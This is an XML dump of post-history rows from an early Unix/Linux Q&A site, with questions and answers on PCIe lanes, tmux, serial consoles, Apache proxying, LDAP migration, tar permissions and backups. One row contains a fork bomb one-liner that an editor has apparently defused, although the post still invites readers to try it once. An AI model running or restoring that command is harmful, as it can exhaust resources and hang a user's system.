  <row Id="716" PostHistoryTypeId="2" PostId="393" RevisionGUID="c01572aa-21b1-4061-bdf5-bc51929927c9" CreationDate="2010-08-12T11:52:45.703" UserId="97" Text="PCI Express slots on the motherboard can be wider then the number of lanes connected.&#xD;&#xA;For example a motherboard can have x8 slot with only x1 lane connected.&#xD;&#xA;&#xD;&#xA;On the other hand, you can insert a card using only for ex. 4 lanes to a x16 slot on the motherboard, and they will negotiate to use only those x4 lanes.&#xD;&#xA;&#xD;&#xA;How to check from the running system how many lanes are used by the inserted PCIe cards?" />
  <row Id="717" PostHistoryTypeId="1" PostId="393" RevisionGUID="c01572aa-21b1-4061-bdf5-bc51929927c9" CreationDate="2010-08-12T11:52:45.703" UserId="97" Text="How to check how many lanes are used by the PCIe card?" />
  <row Id="718" PostHistoryTypeId="3" PostId="393" RevisionGUID="c01572aa-21b1-4061-bdf5-bc51929927c9" CreationDate="2010-08-12T11:52:45.703" UserId="97" Text="épcià" />
  <row Id="719" PostHistoryTypeId="2" PostId="394" RevisionGUID="c51d8cd1-9a8f-408d-adfd-d6b5577c9bc9" CreationDate="2010-08-12T11:54:01.553" UserId="10" Text="In tmux (a terminal multiplexer) you can press Ctrl+A-[ to switch to the Vi buffer mode where you can navigate around, copy text etc. The default shortcut is actually Ctrl+B-[ but that was obviously intended to be reconfigured. Also, the default buffer mode is Emacs but you can configure it to be Vi. &#xD;&#xA;&#xD;&#xA;Check out tmux, it really is a great modern terminal multiplexer. You can even make it your login shell if you tell it what your actual shell is.&#xD;&#xA;&#xD;&#xA;See man page for tmux for more details." />
  <row Id="720" PostHistoryTypeId="5" PostId="394" RevisionGUID="4cd8e9f3-6043-4341-97d0-89894e5b6cc8" CreationDate="2010-08-12T11:59:28.327" UserId="10" Comment="added 309 characters in body" Text="In tmux (a terminal multiplexer) you can press Ctrl+A-[ to switch to the Vi buffer mode where you can navigate around the screen, scroll the buffer back and forth, copy text etc. The default shortcut is actually Ctrl+B-[ but that was obviously intended to be reconfigured. Also, the default buffer mode is Emacs but you can configure it to be Vi. &#xD;&#xA;&#xD;&#xA;Check out tmux, it really is a great modern terminal multiplexer. Besides working with buffer you can split screen in multiple windows, connect to the same session from multiple terminals etc. For ultimate convenience you can even make it your login shell if you tell it what your actual shell is.&#xD;&#xA;&#xD;&#xA;On OpenBSD tmux was even made part of the base system. &#xD;&#xA;&#xD;&#xA;See man page for tmux for more details. Also see screenshots on http://tmux.sourceforge.net/" />
  <row Id="721" PostHistoryTypeId="2" PostId="395" RevisionGUID="3578c49d-03c1-4869-b37a-8dec3c8f037d" CreationDate="2010-08-12T12:01:40.977" UserId="119" Text="I can now answer my own question based on [Stefan][1]'s comment and the two linked articles:&#xD;&#xA;&#xD;&#xA; - http://ubuntu.stackexchange.com/questions/1733/what-reason-could-prevent-console-output-from-virsh-c-qemu-system-console-gu&#xD;&#xA; - http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=507650#29&#xD;&#xA;&#xD;&#xA;Here is the solution:&#xD;&#xA;&#xD;&#xA; - You need not edit anything to do with the host configuration provided it has the default serial device pointing to pty in there. &#xD;&#xA; - Ensure the boot parameter for your kernel has this appended: `serial=tty0 console=ttyS0,115200n8`. Usually achieved by editing `/boot/grub/menu.lst`&#xD;&#xA; - Configure `/etc/inittab` and append the line `T0:S12345:respawn:/sbin/getty -hL ttyS0 115200 vt100` to launch a getty and give you the login prompt.&#xD;&#xA;&#xD;&#xA;I can confirm this works for me using a fedora system (albeit I did have to set `enforcing=0` as an additional parameter because the system in question is fedora rawhide running SELinux MLS). &#xD;&#xA;&#xD;&#xA;I think from there I can probably work out how to do the same for freebsd.&#xD;&#xA;&#xD;&#xA;Thanks Stefan!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/4/stefan-lasiewski" />
  <row Id="722" PostHistoryTypeId="2" PostId="396" RevisionGUID="86be2fe3-9a46-4c98-9e24-213eae56ad39" CreationDate="2010-08-12T12:05:07.100" UserId="140" Text="It is often best to learn how to package the specific type of thing you're packaging. A Mono app is very different to a Python app, and you're best if you can learn information relevant to you, first and foremost." />
  <row Id="723" PostHistoryTypeId="2" PostId="397" RevisionGUID="98384f27-e1fe-41d6-9fdf-a58a044a0304" CreationDate="2010-08-12T12:15:53.070" UserId="97" Text="Ok, it seems I missed it on first try in `lspci` manpages.&#xD;&#xA;&#xD;&#xA;`lspci -vv` displays a lot of information, including link width:&#xD;&#xA;&#xD;&#xA;    01:00.0 VGA compatible controller: nVidia Corporation G92 [GeForce 8800 GT] (rev a2) (prog-if 00 [VGA controller])&#xD;&#xA;                [...]&#xD;&#xA;                LnkCap: Port #0, Speed 2.5GT/s, Width x16, ASPM L0s L1, Latency L0 &lt;512ns, L1 &lt;1us&#xD;&#xA;                        ClockPM- Surprise- LLActRep- BwNot-&#xD;&#xA;                LnkCtl: ASPM Disabled; RCB 128 bytes Disabled- Retrain- CommClk+&#xD;&#xA;                        ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-&#xD;&#xA;                LnkSta: Speed 2.5GT/s, Width x8, TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt-&#xD;&#xA;" />
  <row Id="724" PostHistoryTypeId="5" PostId="379" RevisionGUID="e77cef8f-6fde-4cd4-b733-8f35ee37801b" CreationDate="2010-08-12T12:21:46.817" UserId="252" Comment="Added information about the clients" Text="I currently run a Windows server with Active Directory. But since we're no longer using Exchange 2007, it became a fancy file server with authentication.&#xD;&#xA;&#xD;&#xA;I would like to move the AD to a Linux server. What would be the best way to do this? And which LDAP server should I use?&#xD;&#xA;&#xD;&#xA;**Update** there won't be any Windows clients left. They'll be updated to Edubuntu." />
  <row Id="725" PostHistoryTypeId="2" PostId="398" RevisionGUID="43a3e699-d7ff-47bc-a53b-07b70992db5a" CreationDate="2010-08-12T12:22:55.893" UserId="188" Text="When using RSA keys, 1) and 2) are trivial, because as we'll see in 3) the actual certificate is irrelevant in this context. Just head to cacert.org or generate a self-signed certificate and you are all set.&#xD;&#xA;&#xD;&#xA;For 3) you'll need to extract your public key and install it in $HOME/.ssh/authorized_keys. Pay attention to file ownership and permissions! (700 for .ssh, 600 for authorized_keys). Host-wide public key authentication is discouraged but left as an exercise for inquisitive minds.&#xD;&#xA;&#xD;&#xA;As for 4) you should look into PuTTY SC ( http://www.joebar.ch/puttysc/ ) or -preferably- PuTTY-CAC ( http://www.risacher.org/putty-cac/ ) which improves upon PuTTY SC with a better public key extraction algorithm and also includes the Kerberos-GSSAPI support from the development branch of PuTTY.&#xD;&#xA;" />
  <row Id="726" PostHistoryTypeId="2" PostId="399" RevisionGUID="94854dda-3c09-469b-8f0a-b1d601e310b8" CreationDate="2010-08-12T12:24:59.727" UserId="281" Text="I've always found it awkward when complex shell commands involve parsing text output with awk. Basically we're converting structured data into text, then parsing the text again to get back at the structured data.&#xD;&#xA;&#xD;&#xA;Powershell is a windows shell which avoids that problem by allowing you to pipe typed objects between shell commands instead of just text.&#xD;&#xA;&#xD;&#xA;**Are there any unix shells which are object-based instead of text-based, like powershell?**" />
  <row Id="727" PostHistoryTypeId="1" PostId="399" RevisionGUID="94854dda-3c09-469b-8f0a-b1d601e310b8" CreationDate="2010-08-12T12:24:59.727" UserId="281" Text="Unix equivalent of powershell?" />
  <row Id="728" PostHistoryTypeId="3" PostId="399" RevisionGUID="94854dda-3c09-469b-8f0a-b1d601e310b8" CreationDate="2010-08-12T12:24:59.727" UserId="281" Text="éshellà" />
  <row Id="729" PostHistoryTypeId="5" PostId="383" RevisionGUID="63922780-b133-4e63-8afc-4b258cb8d2ed" CreationDate="2010-08-12T12:35:10.643" UserId="292" Comment="added 33 characters in body" Text="You could try using the [ProxyPass][] directive under mod_proxy in Apache.&#xD;&#xA;&#xD;&#xA;So assuming you want to direct requests for `http://somedomain.com` to an internal site hosted on `http://10.0.1.42`, you could try a config like this on the public facing Apache:&#xD;&#xA;&#xD;&#xA;    # Withing your VirtualHost definition&#xD;&#xA;    ServerName somedomain.com&#xD;&#xA;    ProxyPass / http://10.0.1.42/&#xD;&#xA;    ProxyPassReverse / http://10.0.1.42/&#xD;&#xA;&#xD;&#xA;[ProxyPass]: http://httpd.apache.org/docs/1.3/mod/mod_proxy.html#proxypass" />
  <row Id="730" PostHistoryTypeId="5" PostId="383" RevisionGUID="d6f93cdd-f91c-4aa4-9551-88fe322e11ee" CreationDate="2010-08-12T12:41:18.133" UserId="292" Comment="added 280 characters in body; deleted 5 characters in body" Text="I have done something similar using the [ProxyPass] directive under mod_proxy in Apache.&#xD;&#xA;&#xD;&#xA;First of all, use [Name-based Virtual Hosting] to allow different domains to be host different sites using the same IP, then for the domains that associated to an internal webserver, you have a config like so:&#xD;&#xA;&#xD;&#xA;    # Within your VirtualHost definition&#xD;&#xA;    ServerName somedomain.com&#xD;&#xA;    ProxyPass / http://10.0.1.42/&#xD;&#xA;    ProxyPassReverse / http://10.0.1.42/&#xD;&#xA;&#xD;&#xA;This will result in all requests to `http://somedomain.com` be transparently proxied to an internal site hosted on `http://10.0.1.42`.&#xD;&#xA;&#xD;&#xA;HTH&#xD;&#xA;&#xD;&#xA;[ProxyPass]: http://httpd.apache.org/docs/1.3/mod/mod_proxy.html#proxypass&#xD;&#xA;[Name-based Virtual Hosting]: http://httpd.apache.org/docs/2.0/vhosts/name-based.html" />
  <row Id="731" PostHistoryTypeId="2" PostId="400" RevisionGUID="0df9c7d7-778d-417c-a835-eeaaa026e06d" CreationDate="2010-08-12T12:45:30.013" UserId="272" Text="No, it is the other way around. There is no spoon^H^H^Hstructured data. There is only text.&#xD;&#xA;&#xD;&#xA;A big part of the Unix philosophy is based on the idea of outputting text and accepting text as input. You might want to consider reading &quot;[The Art of Unix Programming][1]&quot;, which has a nice explanation about this.&#xD;&#xA;&#xD;&#xA;Don't get me wrong: I understand your point and I know what you are trying to get at. There are things like the interactive interpreters of Ruby and Python, which can be used as a shell, but they are not as friendly for basic tasks as Bash is. Try and change directory, for example. &#xD;&#xA;&#xD;&#xA;Also, using objects in a shell is not all-that. If only your *shell* supports this, on Unix, you would be at a loss. All the standard Unix text manipulation tools would have to be altered, like grep, awk, sed, etc. &#xD;&#xA;&#xD;&#xA;I think there has been an attempt to create something like this a few years back, but I can't remember the name and I haven't heard about it in a long time. It's probably not going to take off.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/artu/" />
  <row Id="732" PostHistoryTypeId="5" PostId="384" RevisionGUID="ad7eade1-869a-4ee1-95aa-e30c5910201b" CreationDate="2010-08-12T12:48:20.897" UserId="272" Comment="added 329 characters in body" Text="Samba v.3 is able to be a NT4 style domain controller. If you had a AD server running for Exchange, that is not good enough.&#xD;&#xA;&#xD;&#xA;Samba v.4 *will* be able to be a Windows 2003 style domain controller, but is not done yet. Not by far.&#xD;&#xA;&#xD;&#xA;Next question would be: do you have any Windows clients left? If so, you have a problem. Windows is not as pluggable as Linux. While it is possible to change a certain dll file (I forgot the name) to authenticate against a generic KDC, Windows was built to work with AD and with AD alone. Anything else requires altering Windows system dll's. That sucks. &#xD;&#xA;&#xD;&#xA;If you do not have any Windows clients left, it becomes a lot easier. You can easily replace Windows AD with a combined Kerberos / LDAP solution. Kerberos kdc (Key Distribution Center) packages are in all distro's. LDAP servers are available in a lot of different forms. OpenLDAP server is in most distro's. A GUI based management tool for you LDAP directory is available from a lot of open source LDAP serers, like 389 and I think Apache DS too. &#xD;&#xA;&#xD;&#xA;I mentioned the [FreeIPA][1] project in this context in another thread as an integrated solution, but it is only for Linux.&#xD;&#xA;&#xD;&#xA;So, to make a long story short: do you have Windows clients on your network still?&#xD;&#xA;&#xD;&#xA;Edit: Apparently not. So, build yourself a KDC, grab a copy of 389 DS and you're good to go. Then, you'll have to do some LDAP scripting to pull user information from the domain controller and insert it into your LDAP server. I don't think you can migrate the users' passwords though, you will probably have to reset those.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://freeipa.org/page/Main_Page" />
  <row Id="733" PostHistoryTypeId="2" PostId="401" RevisionGUID="4869f3c7-bb31-4f12-b88c-87efb39667b9" CreationDate="2010-08-12T13:13:04.187" UserId="183" Text="From the tar Man Page.&#xD;&#xA;&#xD;&#xA;&gt; -p, --same-permissions, --preserve-permissions&lt;br /&gt;&#xD;&#xA;&gt;    &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;  &amp;nbsp; &amp;nbsp;&amp;nbsp;ignore umask when extracting files (the default for root)&#xD;&#xA;&#xD;&#xA;It is not actually the act of archiving that alters the access permissions, but the act of unpacking them.  Tar is very often used to distribute files from one user to another, and so it is thought convenient to apply a users umask when they unpack. &#xD;&#xA;&#xD;&#xA;To preserve the files previous permissions, do:&#xD;&#xA;&#xD;&#xA;    tar xvp some-file" />
  <row Id="734" PostHistoryTypeId="2" PostId="402" RevisionGUID="cf07f2f1-8981-4909-ac97-bb0e6415e5d1" CreationDate="2010-08-12T13:23:03.070" UserId="12" Text="I am currently customising my netbook's ArchLinux install. I really like the minimalist basic style of things like the ThinMC window borders in Gnome, and the FullFlat  Firefox theme. What options are available to recreate this look on something like OpenBox or LXDE? (This is a small netbook, so I want to avoid installing loads of Gnome packages...)&#xD;&#xA;&#xD;&#xA;[I asked this question on [SuperUser][1] earlier, but perhaps this is a better place for it...]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/175065/flat-basic-minimalist-window-decorations-with-openbox-or-similar" />
  <row Id="735" PostHistoryTypeId="1" PostId="402" RevisionGUID="cf07f2f1-8981-4909-ac97-bb0e6415e5d1" CreationDate="2010-08-12T13:23:03.070" UserId="12" Text="Minimalist window decorations etc in OpenBox or similar" />
  <row Id="736" PostHistoryTypeId="3" PostId="402" RevisionGUID="cf07f2f1-8981-4909-ac97-bb0e6415e5d1" CreationDate="2010-08-12T13:23:03.070" UserId="12" Text="éarchölinuxàéappearanceàéopenboxà" />
  <row Id="737" PostHistoryTypeId="6" PostId="391" RevisionGUID="8bf476d8-267f-415b-966f-7faa9a5f5066" CreationDate="2010-08-12T13:25:28.993" UserId="183" Comment="edited tags" Text="éaclàétaràébackupàépermissionsà" />
  <row Id="738" PostHistoryTypeId="5" PostId="401" RevisionGUID="9ba4855e-725e-47af-9c56-0a82f4300a5e" CreationDate="2010-08-12T13:27:11.780" UserId="183" Comment="added 44 characters in body" Text="From the tar Man Page.&#xD;&#xA;&#xD;&#xA;&gt; -p, --same-permissions, --preserve-permissions&lt;br /&gt;&#xD;&#xA;&gt;    &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;  &amp;nbsp; &amp;nbsp;&amp;nbsp;ignore umask when extracting files (the default for root)&#xD;&#xA;&#xD;&#xA;It is not actually the act of archiving that alters the access permissions(ACLs), but the act of unpacking them.  Tar is very often used to distribute files from one user to another, and so it is thought convenient to apply a users [umask](http://en.wikipedia.org/wiki/Umask) when they unpack. &#xD;&#xA;&#xD;&#xA;To preserve the files previous permissions, do:&#xD;&#xA;&#xD;&#xA;    tar xvp some-file" />
  <row Id="739" PostHistoryTypeId="2" PostId="403" RevisionGUID="464cddb1-d9e9-40f9-923f-a1e8ae8c6a56" CreationDate="2010-08-12T13:30:15.597" UserId="76" Text="There is project, whose goal share similarity with PowerShell: [Hotwire][1]. It combines regular sh  with python scripting and window/graphical environment. You could give it a look.&#xD;&#xA;&#xD;&#xA;It's based around [object-oriented pipeline][2] that you can extend with your own objects by wrapping existing programs or using Python libraries.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/hotwire-shell/&#xD;&#xA;  [2]: http://code.google.com/p/hotwire-shell/wiki/HotwireArchitecture" />
  <row Id="740" PostHistoryTypeId="5" PostId="401" RevisionGUID="44c21284-a973-4f1e-a36e-b97ac3e739ae" CreationDate="2010-08-12T13:36:49.263" UserId="183" Comment="added 141 characters in body" Text="From the tar Man Page.&#xD;&#xA;&#xD;&#xA;&gt; -p, --same-permissions, --preserve-permissions&lt;br /&gt;&#xD;&#xA;&gt;    &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;  &amp;nbsp; &amp;nbsp;&amp;nbsp;ignore umask when extracting files (the default for root)&#xD;&#xA;&#xD;&#xA;It is not actually the act of archiving that alters the access permissions(ACLs), but the act of unpacking them.  Tar is very often used to distribute files from one user to another, and so it is thought convenient to apply a users [umask](http://en.wikipedia.org/wiki/Umask) when they unpack. &#xD;&#xA;&#xD;&#xA;To preserve the files previous permissions, simply ad a p for to your options.  For example&#xD;&#xA;&#xD;&#xA;Straight tar:&#xD;&#xA;    &#xD;&#xA;    tar xvp some-file&#xD;&#xA;&#xD;&#xA;bz.tar:&#xD;&#xA;&#xD;&#xA;    tar xvjp some-file&#xD;&#xA;&#xD;&#xA;gz.tar:&#xD;&#xA;&#xD;&#xA;    tar xvzp some-file&#xD;&#xA;" />
  <row Id="741" PostHistoryTypeId="2" PostId="404" RevisionGUID="394b2425-092c-4e0b-9f58-18da5229190b" CreationDate="2010-08-12T13:37:00.527" UserId="76" Text="The [ubuntu packaging guide][1] is a good introduction. The rest you can learn by studying existing packages, and reading manuals (CDBS, and of course [Debian Policy][2]). However, as directhex said, it depends a lot on the kind of package you work on.&#xD;&#xA;&#xD;&#xA;For RPM, I liked the [Mandriva wiki][3], and some [Fedora RPM Guide][4] and [Guidelines][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.ubuntu.com/PackagingGuide/Complete&#xD;&#xA;  [2]: http://www.debian.org/doc/debian-policy/&#xD;&#xA;  [3]: http://wiki.mandriva.com/en/Mandriva_RPM_HOWTO&#xD;&#xA;  [4]: http://docs.fedoraproject.org/en-US/Fedora_Draft_Documentation/0.1/html/RPM_Guide/index.html&#xD;&#xA;  [5]: http://fedoraproject.org/wiki/Packaging/Guidelines" />
  <row Id="742" PostHistoryTypeId="2" PostId="405" RevisionGUID="be98e85c-b963-4b56-8bf1-b649d494762d" CreationDate="2010-08-12T14:20:02.077" UserId="239" Text="I'm always looking for podcasts that can help me keep up with operating systems and development. That said, I typically listen to the Linux Outlaws podcast, but was wondering if there are other Linux/Unix podcasts that many of you find helpful or informative, both with learning Linux or keeping up with the changes to it." />
  <row Id="743" PostHistoryTypeId="1" PostId="405" RevisionGUID="be98e85c-b963-4b56-8bf1-b649d494762d" CreationDate="2010-08-12T14:20:02.077" UserId="239" Text="Useful Linux Podcasts" />
  <row Id="744" PostHistoryTypeId="3" PostId="405" RevisionGUID="be98e85c-b963-4b56-8bf1-b649d494762d" CreationDate="2010-08-12T14:20:02.077" UserId="239" Text="élearningà" />
  <row Id="745" PostHistoryTypeId="2" PostId="406" RevisionGUID="06353866-b3af-48c2-ac25-a609a2209660" CreationDate="2010-08-12T14:30:19.290" UserId="45" Text="I'm not a huge podcast guy but you might want to try http://www.tuxradar.com It's one of the better Linux ones I've heard." />
  <row Id="746" PostHistoryTypeId="2" PostId="407" RevisionGUID="cf13fbc1-ace4-4880-ad82-f2cf1b0d5baf" CreationDate="2010-08-12T14:34:21.293" UserId="76" Text="About Linux kernel itself, there is only one: http://www.kernelpodcast.org/. Although the author is asking for help to keep up with the constant flood of lkml." />
  <row Id="747" PostHistoryTypeId="2" PostId="408" RevisionGUID="348f50f6-f08e-49f9-a6c1-f23f320277a6" CreationDate="2010-08-12T14:37:03.843" UserId="84" Text="I've been listening to the [Going Linux podcast][1] and find it quite easy to listen to. They cover subjects easy enough for beginners and also go deeper in following podcasts. Once a month, they play a recording of one of them answering questions about Linux on the radio. In my opinion, this is a good entry level podcast.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://goinglinux.com/" />
  <row Id="748" PostHistoryTypeId="5" PostId="407" RevisionGUID="15cb00f3-4ad6-4eea-b678-44755a744925" CreationDate="2010-08-12T14:42:41.723" UserId="76" Comment="added 34 characters in body" Text="About Linux kernel itself, there is only one: http://www.kernelpodcast.org/. Although the author is asking for help to keep up with the constant flood of lkml, it's not very regular those days." />
  <row Id="749" PostHistoryTypeId="2" PostId="409" RevisionGUID="259a1481-2e08-4432-b8a5-173f66497668" CreationDate="2010-08-12T14:47:50.713" UserId="160" Text="On FreeBSD, for an installed port:&#xD;&#xA;&#xD;&#xA;    cd /usr/ports/category/myport&#xD;&#xA;    make package&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    make package-recursive&#xD;&#xA;&#xD;&#xA;The first one makes a package from the port while the second also includes all dependencies.  Alternatively, you can gain more control by using `pkg_create`.  Like `make package` it also requires the port to be installed:&#xD;&#xA;&#xD;&#xA;    pkg_create -Rb mysoftware myswpkgname&#xD;&#xA;&#xD;&#xA;Unfortunately there is no clean and easy way to make a package without first installing it unless you delve into the nitty-gritty of ports maintenance and package creation which you can read about [here](http://www.freebsd.org/doc/en/articles/portbuild/article.html).  This will be necessary if you want to package something you've written yourself.  &#xD;&#xA;&#xD;&#xA;There are, however, a few alternatives to make life easier if you need to make software packages that aren't installed on your system.  The first is to use a build jail.  Alternatively (or concurrently), you can also just remove the software you install:&#xD;&#xA;&#xD;&#xA;    make deinstall&#xD;&#xA;&#xD;&#xA;from the port directory, or &#xD;&#xA;&#xD;&#xA;    pkg_delete -r mypackage&#xD;&#xA;&#xD;&#xA;which provides more control (the `-r` switch removes dependencies as well).  See the man pages for [ports](http://www.freebsd.org/cgi/man.cgi?query=ports&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.1-RELEASE&amp;format=html), [pkg_delete](http://www.freebsd.org/cgi/man.cgi?query=pkg_delete&amp;sektion=1&amp;apropos=0&amp;manpath=FreeBSD+8.1-RELEASE) and [pkg_create](http://www.freebsd.org/cgi/man.cgi?query=pkg_create&amp;apropos=0&amp;sektion=1&amp;manpath=FreeBSD+8.1-RELEASE&amp;format=html) for details." />
  <row Id="750" PostHistoryTypeId="5" PostId="266" RevisionGUID="664340b3-48c2-4c96-88e7-dfb719c5cc44" CreationDate="2010-08-12T14:51:38.163" UserId="261" Comment="fork bomb description, and removed one bomb char to difuse it, in case someone tries to run it." Text="    :(){ :|:&amp; }:  //at your terminal&#xD;&#xA;&#xD;&#xA;*Warning*: Its a `fork` **bomb**! But you should try it once ; )&#xD;&#xA;&#xD;&#xA;A fork bomb is a process that clones (forks) itself, the clone then does the same, and those clones do the same, etc etc. It grows exponentially until all system resources are consumed, and the system hangs. It's a real nasty piece of work, and not a prank by any means." />
  <row Id="751" PostHistoryTypeId="2" PostId="410" RevisionGUID="9effc1dd-12ab-4eeb-9beb-de5c97903482" CreationDate="2010-08-12T14:52:27.410" UserId="228" Text="If you are a fast typist, these come in handy:&#xD;&#xA;&#xD;&#xA;    alias grpe='grep --color=tty'&#xD;&#xA;    alias gpre='grep --color=tty'&#xD;&#xA;    alias rgep='grep --color=tty'&#xD;&#xA;&#xD;&#xA;This macro helps you compute totals of a column of output: file sizes, bytes, packets, all you have to do is specify the column that you want to add:&#xD;&#xA;&#xD;&#xA;    total ()&#xD;&#xA;    {&#xD;&#xA;            if [ x$1 = x ]; then set `echo 1`; fi&#xD;&#xA;            awk &quot;{total += \$$1} END {print total}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You use it like this for example, with no arguments, it adds the total of the first column:&#xD;&#xA;&#xD;&#xA;    du | total&#xD;&#xA;&#xD;&#xA;If you provide the argument, it will sum that column, for example, this gives you the total number of bytes used by all the C# files in /tmp:&#xD;&#xA;&#xD;&#xA;    ls -l /tmp/*cs | total 5&#xD;&#xA;&#xD;&#xA;Sometimes your console gets messed up because you accidentally viewed a binary file (cat /bin/ls for example), you can restore the terminal with this shell function:&#xD;&#xA;&#xD;&#xA;    restaura ()&#xD;&#xA;    {&#xD;&#xA;        perl -e 'print &quot;\e)B&quot;;'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I like my ls to use characters to distinguish the class of files, and also to hide the backup files generated by my editor (backup files end with the ~ character):&#xD;&#xA;&#xD;&#xA;    alias ls='ls -FB'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="752" PostHistoryTypeId="16" PostId="410" RevisionGUID="9effc1dd-12ab-4eeb-9beb-de5c97903482" CreationDate="2010-08-12T14:52:27.410" UserId="-1" />
  <row Id="753" PostHistoryTypeId="5" PostId="341" RevisionGUID="ee0f0e6d-a3db-4685-83ec-1af680bfa062" CreationDate="2010-08-12T14:59:48.300" UserId="261" Comment="was confused about this post, until I followed the link. Added details to help other reading this :)" Text="Install &quot;sl&quot;. Choo choo! http://www.tkl.iis.u-tokyo.ac.jp/~toyoda/index_e.html&#xD;&#xA;&#xD;&#xA;          ====        ________                ___________&#xD;&#xA;      _D _|  |_______/        \__I_I_____===__|_________|&#xD;&#xA;       |(_)---  |   H\________/ |   |        =|___ ___|      _________________ &#xD;&#xA;       /     |  |   H  |  |     |   |         ||_| |_||     _|                \_____A&#xD;&#xA;      |      |  |   H  |__--------------------| [___] |   =|                        |&#xD;&#xA;      | ________|___H__/__|_____/[][]~\_______|       |   -|                        |&#xD;&#xA;      |/ |   |-----------I_____I [][] []  D   |=======|____|________________________|_&#xD;&#xA;    __/ =| o |=-~~\  /~~\  /~~\  /~~\ ____Y___________|__|__________________________|_&#xD;&#xA;     |/-=|___||    ||    ||    ||    |_____/~\___/          |_D__D__D_|  |_D__D__D_|&#xD;&#xA;      \_/      \__/  \__/  \__/  \__/      \_/               \_/   \_/    \_/   \_/&#xD;&#xA;&#xD;&#xA;*&quot;SL (Steam Locomotive) runs across your terminal when you type &quot;sl&quot; as you meant to type 'ls'. It's just a joke command, and not usefull at all. Put the binary to /usr/local/bin.&quot;*&#xD;&#xA;" />
  <row Id="754" PostHistoryTypeId="2" PostId="411" RevisionGUID="64f65c6a-5ab2-4fa0-904b-2207baca1307" CreationDate="2010-08-12T15:05:31.513" UserId="57" Text="Suppose you are working on a very old server unix server.&#xD;&#xA;where where dos2unix perl tr are not present.&#xD;&#xA;how to convert files from dos to unix format?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="755" PostHistoryTypeId="1" PostId="411" RevisionGUID="64f65c6a-5ab2-4fa0-904b-2207baca1307" CreationDate="2010-08-12T15:05:31.513" UserId="57" Text="how to remove Ctrl-M from files where dos2unix perl tr are not present?" />
  <row Id="756" PostHistoryTypeId="3" PostId="411" RevisionGUID="64f65c6a-5ab2-4fa0-904b-2207baca1307" CreationDate="2010-08-12T15:05:31.513" UserId="57" Text="éunixà" />
  <row Id="757" PostHistoryTypeId="6" PostId="364" RevisionGUID="908c14d5-580d-471d-ab0f-9098d62916e3" CreationDate="2010-08-12T15:08:38.433" UserId="188" Comment="edited tags" Text="éshellàéscriptingàésetuidàésecurityà" />
  <row Id="758" PostHistoryTypeId="16" PostId="107" RevisionGUID="e36ca559-a059-42ed-9554-584362d9ac9d" CreationDate="2010-08-12T15:46:27.240" UserId="84" />
  <row Id="759" PostHistoryTypeId="6" PostId="107" RevisionGUID="e36ca559-a059-42ed-9554-584362d9ac9d" CreationDate="2010-08-12T15:46:27.240" UserId="84" Comment="edited tags" Text="éutilitiesàéprogrammingàévimà" />
  <row Id="760" PostHistoryTypeId="2" PostId="412" RevisionGUID="6ec45565-c8c7-4a45-b2f6-d89f46b675fa" CreationDate="2010-08-12T15:50:05.227" UserId="154" Text="I have an app running on rackspace cloud (ubuntu 10.04).  For some reason, over the last 3 nights, the memory has been spiking and then leveling off for about 7 hours before eventually falling off.  It seems to start at midnight and last through 7 am (ignore the times on the chart -- they're off by 4 hours).&#xD;&#xA;&#xD;&#xA;Chart:&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Looking through munin, there doesn't seem to be any increased activity in mysql, and the ethernet traffic doesn't seem to be spiking at all during that time (which would seem to negate something like a bot or crawler).&#xD;&#xA;&#xD;&#xA;Which tools are available for linux to troubleshoot something like this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://imgur.com/9opY4.png" />
  <row Id="761" PostHistoryTypeId="1" PostId="412" RevisionGUID="6ec45565-c8c7-4a45-b2f6-d89f46b675fa" CreationDate="2010-08-12T15:50:05.227" UserId="154" Text="Track down memory spikes?" />
  <row Id="762" PostHistoryTypeId="3" PostId="412" RevisionGUID="6ec45565-c8c7-4a45-b2f6-d89f46b675fa" CreationDate="2010-08-12T15:50:05.227" UserId="154" Text="émemoryàémonitoringàémuninà" />
  <row Id="763" PostHistoryTypeId="2" PostId="413" RevisionGUID="a2d4384f-1597-4f34-a4fb-15e246ca39ad" CreationDate="2010-08-12T15:58:01.947" UserId="328" Text="I think you are referring to removing the caret-M at the end of lines.  You can use search and replace in vi to do this.&#xD;&#xA;&#xD;&#xA;In vi I normally do: (where &quot;^&quot; represents CTRL):&#xD;&#xA;&#xD;&#xA;    :%s/^V^M//g&#xD;&#xA;&#xD;&#xA;Which shows on the screen as:&#xD;&#xA;&#xD;&#xA;    :%s/^M//g" />
  <row Id="764" PostHistoryTypeId="2" PostId="414" RevisionGUID="abf6ff3e-266b-41e2-806b-c6109169de55" CreationDate="2010-08-12T16:08:34.077" UserId="328" Text="For doing backups I often use rsync.  If I want to backup onto a remote machine I'll put a line in /etc/fstab to keep the remote machine mounted by NFS or CFIS (Samba).  &#xD;&#xA;&#xD;&#xA;    192.168.0.101:/ /mnt/backup nfs rsize=8192,wsize=8192,timeo=14,intr 0 0&#xD;&#xA;&#xD;&#xA;Then have a line in my crontab using rsync.&#xD;&#xA;&#xD;&#xA;    rsync -av /home/user/sourcedir/ /mnt/backup/destinationdir &gt; /home/user/backup.log" />
